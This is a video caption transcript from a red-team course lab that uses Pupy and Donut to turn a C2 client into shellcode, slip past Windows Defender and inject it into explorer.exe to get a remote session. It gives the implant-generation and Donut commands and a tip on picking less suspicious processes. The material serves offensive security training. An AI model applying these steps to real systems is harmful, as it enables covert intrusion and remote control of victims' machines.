WEBVTT 00:00:01.040 --> 00:00:01.870 In this demo, 00:00:02.009 --> 00:00:06.080 we're going to use Donut to generate shellcode from a DLL for process injection. 00:00:06.080 --> 00:00:10.750 We will generate the necessary shellcode using Donut from our DLL. 00:00:10.750 --> 00:00:14.900 Then we'll transfer it to our target and again use the built‑in 00:00:14.900 --> 00:00:18.360 DonutTest to inject the code into a process on our target. 00:00:19.240 --> 00:00:22.870 Using these features allows you to execute malicious code in memory 00:00:22.880 --> 00:00:25.560 by exploiting vulnerabilities in the native API. 00:00:26.540 --> 00:00:29.750 Let's head over to the lab and get started by generating our payload. 00:00:31.040 --> 00:00:32.619 As I mentioned in the first demo, 00:00:32.800 --> 00:00:35.750 I'm running Pupy as a command and control server using Docker. 00:00:36.640 --> 00:00:39.660 The documentation on GitHub covers the installation of this tool. 00:00:40.340 --> 00:00:42.690 I have a separate red team tools course covering Pupy's 00:00:42.690 --> 00:00:44.660 usage that you can reference for its use. 00:00:45.240 --> 00:00:48.250 One of the issues with Pupy though is that its clients 00:00:48.250 --> 00:00:51.010 are prevented from executing on a Windows system due to 00:00:51.010 --> 00:00:52.000 the built‑in Windows Defender. 00:00:52.000 --> 00:00:56.700 We need a method of executing the payload on our target so we 00:00:56.700 --> 00:00:59.780 can remotely control the target and take additional actions 00:00:59.790 --> 00:01:01.640 using the built‑in tools Pupy offers. 00:01:01.640 --> 00:01:04.379 First, let's generate the payload. 00:01:04.379 --> 00:01:06.530 Using Pupy, 00:01:06.530 --> 00:01:11.160 we can generate a client using the gen tool from the Pupy server interface. 00:01:11.740 --> 00:01:22.660 To do that, we run the command gen ‑f client ‑O windows ‑A x64 ‑S, 00:01:23.040 --> 00:01:25.920 followed by connect ‑‑host, 00:01:25.930 --> 00:01:28.660 followed by the IP address of your Kali Linux machine, 00:01:29.140 --> 00:01:33.720 :8443, the port this listener is using, and finally, 00:01:33.730 --> 00:01:36.560 ‑t ssl to set our transport method. 00:01:38.640 --> 00:01:39.890 Once our client generates, 00:01:39.900 --> 00:01:43.350 we'll find the DLL file in the output directory in our workspace. 00:01:44.640 --> 00:01:47.100 Let's copy that to the payload directory and then generate 00:01:47.100 --> 00:01:48.540 shellcode and move it to our client. 00:01:48.540 --> 00:01:55.860 To generate the shellcode, we'll run donut ‑a 2 to select 64‑bit architecture, 00:01:56.240 --> 00:01:59.660 ‑b 3 to set our bypass level to continue on fail, 00:02:00.140 --> 00:02:04.220 ‑f 2 to set the output to Base64, and finally, 00:02:04.230 --> 00:02:06.560 our file name from the payloads directory. 00:02:08.240 --> 00:02:11.960 Now that our shellcode is generated, let's copy that to our payloads directory. 00:02:13.440 --> 00:02:15.150 Now we'll head over to our Windows target, 00:02:16.140 --> 00:02:18.960 and we'll refresh Internet Explorer, and once again, 00:02:18.970 --> 00:02:22.040 let's go ahead and try to download this DLL and see what happens. 00:02:22.040 --> 00:02:29.460 Again, it's flagged immediately, so we'll go to our shellcode, 00:02:32.940 --> 00:02:34.540 and that downloads without issue. 00:02:34.540 --> 00:02:42.060 So let's copy our shellcode and go back to Program.cs in Visual Studio Code, 00:02:42.060 --> 00:02:46.460 and once again, we'll replace the string x64 with our new shellcode. 00:02:52.940 --> 00:02:55.850 And then we'll go ahead and save this one as test2, 00:02:55.860 --> 00:03:01.460 and we're ready to compile it. 00:03:03.240 --> 00:03:04.820 Again, we can use the same csc.exe. 00:03:04.820 --> 00:03:11.260 We'll just change everything to test2 and compile. 00:03:11.260 --> 00:03:13.460 No issues there. 00:03:13.470 --> 00:03:16.180 And now we just need to use ProcMgr again, 00:03:16.190 --> 00:03:20.650 and we'll go ahead and try to inject into explorer.exe one more time. 00:03:21.240 --> 00:03:24.560 This time I have a process ID of 3680. 00:03:26.340 --> 00:03:30.210 So I'll run test2.exe followed by that process ID. 00:03:30.210 --> 00:03:35.550 And it looks like our injection was successful. 00:03:36.140 --> 00:03:38.890 So let's go over to Kali and check on our Pupy server. 00:03:38.890 --> 00:03:44.560 And we have an open session, as you can see down here, with our target host. 00:03:45.840 --> 00:03:47.160 Before we go over the recap, 00:03:47.170 --> 00:03:50.800 let's take a closer look at explorer.exe using Process Explorer. 00:03:50.800 --> 00:03:56.860 There's nothing obvious in this view, but if we go to the TCP/IP tab, 00:03:57.440 --> 00:04:01.250 we can see that our host has an established connection to our remote server. 00:04:02.140 --> 00:04:05.760 This will probably raise suspicion if anybody is monitoring their processes, 00:04:06.140 --> 00:04:08.190 but you could always select other processes for 00:04:08.190 --> 00:04:10.360 injection that may be less suspicious. 00:04:11.440 --> 00:04:13.190 For a quick recap of this lesson, 00:04:13.280 --> 00:04:17.649 we started off by using Donut to generate shellcode from our Pupy client file. 00:04:18.339 --> 00:04:20.740 Then we moved the shellcode to our target and used 00:04:20.740 --> 00:04:22.560 the DonutTest program to inject it. 00:04:23.140 --> 00:04:26.940 We successfully injected the code into explorer.exe and 00:04:26.940 --> 00:04:28.660 established a connection to our server. 00:04:29.840 --> 00:04:32.000 This concludes all the demos for this course. 00:04:32.740 --> 00:04:34.550 I hope you enjoyed going through each of these, 00:04:34.550 --> 00:04:35.870 and if you want, 00:04:35.870 --> 00:04:39.010 you can stick around for the next module where we'll go over some 00:04:39.010 --> 00:04:42.850 additional resources you can use to learn more about Donut's capabilities 00:04:43.140 --> 00:04:46.060 and explore different techniques for process injection.